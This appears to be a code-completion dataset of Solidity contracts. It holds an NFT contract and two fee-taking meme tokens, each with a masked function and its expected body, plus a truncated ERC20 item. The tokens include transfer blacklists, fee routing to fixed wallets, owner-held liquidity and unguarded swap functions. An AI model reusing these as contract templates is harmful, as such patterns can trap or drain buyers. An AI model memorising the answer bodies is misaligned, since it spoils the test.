contract IbTT1 is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 private MAX_SUPPLY = 128; mapping (uint256 => string) private nftDescription; mapping (uint256 => string) private nftName; mapping (uint256 => string) private ipfsCid; string private ipfs = 'https://ipfs.io/ipfs/'; function totalSupply() public view returns (uint256) { return MAX_SUPPLY; } function renderDescription(uint256 tokenId) private view returns (string memory) { return string(abi.encodePacked(nftDescription[tokenId],"\\n\\nToken #", Strings.toString(tokenId),"\\n\\n- IPFS CID:\\n- ",ipfsCid[tokenId],"\\n\\n- Owner:\\n- 0x", Strings.toAsciiString(ownerOf(tokenId)))); } function mintNft(string memory _name, string memory _description, string memory _ipfsCid) public onlyOwner { require(_tokenIds.current() < MAX_SUPPLY,'ERROR: minting complete'); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); nftDescription[newItemId] = _description; nftName[newItemId] = _name; ipfsCid[newItemId] = _ipfsCid; _mint(_msgSender(), newItemId); } function tokenURI(uint256 tokenId) public view override returns (string memory) {<FILL_FUNCTION_BODY> } constructor() ERC721("Indivisuals by Takens Theorem", "IbTT1") {} }
contract IbTT1 is ERC721, Ownable { using Counters for Counters.Counter; Counters.Counter private _tokenIds; uint256 private MAX_SUPPLY = 128; mapping (uint256 => string) private nftDescription; mapping (uint256 => string) private nftName; mapping (uint256 => string) private ipfsCid; string private ipfs = 'https://ipfs.io/ipfs/'; function totalSupply() public view returns (uint256) { return MAX_SUPPLY; } function renderDescription(uint256 tokenId) private view returns (string memory) { return string(abi.encodePacked(nftDescription[tokenId],"\\n\\nToken #", Strings.toString(tokenId),"\\n\\n- IPFS CID:\\n- ",ipfsCid[tokenId],"\\n\\n- Owner:\\n- 0x", Strings.toAsciiString(ownerOf(tokenId)))); } function mintNft(string memory _name, string memory _description, string memory _ipfsCid) public onlyOwner { require(_tokenIds.current() < MAX_SUPPLY,'ERROR: minting complete'); _tokenIds.increment(); uint256 newItemId = _tokenIds.current(); nftDescription[newItemId] = _description; nftName[newItemId] = _name; ipfsCid[newItemId] = _ipfsCid; _mint(_msgSender(), newItemId); } <FILL_FUNCTION> constructor() ERC721("Indivisuals by Takens Theorem", "IbTT1") {} }
require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); bytes memory json = abi.encodePacked('{"name":"',nftName[tokenId], '", "description":"',renderDescription(tokenId), '", "created_by":"Takens Theorem", "image":"',ipfs,ipfsCid[tokenId], '"}'); return string(abi.encodePacked('data:text/plain,', json));
function tokenURI(uint256 tokenId) public view override returns (string memory)
function tokenURI(uint256 tokenId) public view override returns (string memory)
66074
FindingNemoToken
openTrading
contract FindingNemoToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Finding Nemo"; string private constant _symbol = "FINE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet2 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet3 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } function openTrading() external onlyOwner() {<FILL_FUNCTION_BODY> } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract FindingNemoToken is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; address payable private _feeAddrWallet3; string private constant _name = "Finding Nemo"; string private constant _symbol = "FINE"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _feeAddrWallet1 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet2 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _feeAddrWallet3 = payable(0x217972CE697eB26C2Ae53DE1c8D54D1778cc8751); _rOwned[address(this)] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; emit Transfer(address(0), address(this), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(amount > 0, "Transfer amount must be greater than zero"); require(!bots[from]); if (from != address(this)) { _feeAddr1 = 2; _feeAddr2 = 8; if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 100000000000000000) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function liftMaxTx() external onlyOwner{ _maxTxAmount = _tTotal; } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount/3); _feeAddrWallet2.transfer(amount/3); _feeAddrWallet3.transfer(amount/3); } <FILL_FUNCTION> function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 20000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
function openTrading() external onlyOwner()
function openTrading() external onlyOwner()
48785
BabyMikasa
createNewPair
contract BabyMikasa is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Baby Mikasa Inu"; string public constant symbol = unicode"BabyMikasa"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 14; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} function createNewPair() external onlyOwner() {<FILL_FUNCTION_BODY> } function addLiqNStart() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 200000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
contract BabyMikasa is Context, IERC20, Ownable { mapping (address => uint) private _owned; mapping (address => mapping (address => uint)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isBot; uint private constant _totalSupply = 1e10 * 10**9; string public constant name = unicode"Baby Mikasa Inu"; string public constant symbol = unicode"BabyMikasa"; uint8 public constant decimals = 9; IUniswapV2Router02 private uniswapV2Router; address payable public _FeeCollectionADD; address public uniswapV2Pair; uint public _buyFee = 12; uint public _sellFee = 12; uint private _feeRate = 14; uint public _maxHeldTokens; uint public _launchedAt; bool private _tradingOpen; bool private _inSwap = false; bool public _useImpactFeeSetter = false; struct User { uint buy; bool exists; } event FeeMultiplierUpdated(uint _multiplier); event ImpactFeeSetterUpdated(bool _usefeesetter); event FeeRateUpdated(uint _rate); event FeesUpdated(uint _buy, uint _sell); event TaxAddUpdated(address _taxwallet); modifier lockTheSwap { _inSwap = true; _; _inSwap = false; } constructor (address payable TaxAdd) { _FeeCollectionADD = TaxAdd; _owned[address(this)] = _totalSupply; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[TaxAdd] = true; emit Transfer(address(0), address(this), _totalSupply); } function balanceOf(address account) public view override returns (uint) { return _owned[account]; } function transfer(address recipient, uint amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function totalSupply() public pure override returns (uint) { return _totalSupply; } function allowance(address owner, address spender) public view override returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public override returns (bool) { _transfer(sender, recipient, amount); uint allowedAmount = _allowances[sender][_msgSender()] - amount; _approve(sender, _msgSender(), allowedAmount); return true; } function _approve(address owner, address spender, uint amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint amount) private { require(!_isBot[from]); require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); bool isBuy = false; if(from != owner() && to != owner()) { if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(_tradingOpen, "Trading not yet enabled."); if((_launchedAt + (4 minutes)) > block.timestamp) { require((amount + balanceOf(address(to))) <= _maxHeldTokens); } isBuy = true; } if(!_inSwap && _tradingOpen && from != uniswapV2Pair) { uint contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance > 0) { if(_useImpactFeeSetter) { if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) { contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100; } } uint burnAmount = contractTokenBalance/6; contractTokenBalance -= burnAmount; burnToken(burnAmount); swapTokensForEth(contractTokenBalance); } uint contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } isBuy = false; } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee,isBuy); } function swapTokensForEth(uint tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint amount) private { _FeeCollectionADD.transfer(amount); } function burnToken(uint burnAmount) private lockTheSwap{ if(burnAmount > 0){ _transfer(address(this), address(0xdead),burnAmount); } } function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private { (uint fee) = _getFee(takefee, buy); _transferStandard(sender, recipient, amount, fee); } function _getFee(bool takefee, bool buy) private view returns (uint) { uint fee = 0; if(takefee) { if(buy) { fee = _buyFee; } else { fee = _sellFee; } } return fee; } function _transferStandard(address sender, address recipient, uint amount, uint fee) private { (uint transferAmount, uint team) = _getValues(amount, fee); _owned[sender] = _owned[sender] - amount; _owned[recipient] = _owned[recipient] + transferAmount; _takeTeam(team); emit Transfer(sender, recipient, transferAmount); } function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) { uint team = (amount * teamFee) / 100; uint transferAmount = amount - team; return (transferAmount, team); } function _takeTeam(uint team) private { _owned[address(this)] = _owned[address(this)] + team; } receive() external payable {} <FILL_FUNCTION> function addLiqNStart() external onlyOwner() { require(!_tradingOpen, "Trading is already open"); _approve(address(this), address(uniswapV2Router), _totalSupply); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); _tradingOpen = true; _launchedAt = block.timestamp; _maxHeldTokens = 200000000 * 10**9; } function manualswap() external { uint contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { uint contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setFeeRate(uint rate) external onlyOwner() { require(_msgSender() == _FeeCollectionADD); require(rate > 0, "can't be zero"); _feeRate = rate; emit FeeRateUpdated(_feeRate); } function setFees(uint buy, uint sell) external onlyOwner() { require(buy < _buyFee && sell < _sellFee); _buyFee = buy; _sellFee = sell; emit FeesUpdated(_buyFee, _sellFee); } function toggleImpactFee(bool onoff) external onlyOwner() { _useImpactFeeSetter = onoff; emit ImpactFeeSetterUpdated(_useImpactFeeSetter); } function updateTaxAdd(address newAddress) external { require(_msgSender() == _FeeCollectionADD); _FeeCollectionADD = payable(newAddress); emit TaxAddUpdated(_FeeCollectionADD); } function thisBalance() public view returns (uint) { return balanceOf(address(this)); } function amountInPool() public view returns (uint) { return balanceOf(uniswapV2Pair); } }
require(!_tradingOpen, "Trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
function createNewPair() external onlyOwner()
function createNewPair() external onlyOwner()
10929
PhiToken
approveAndCall
contract PhiToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function PhiToken() public { symbol = "Phi"; name = "PhiCoin"; decimals = 10; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // 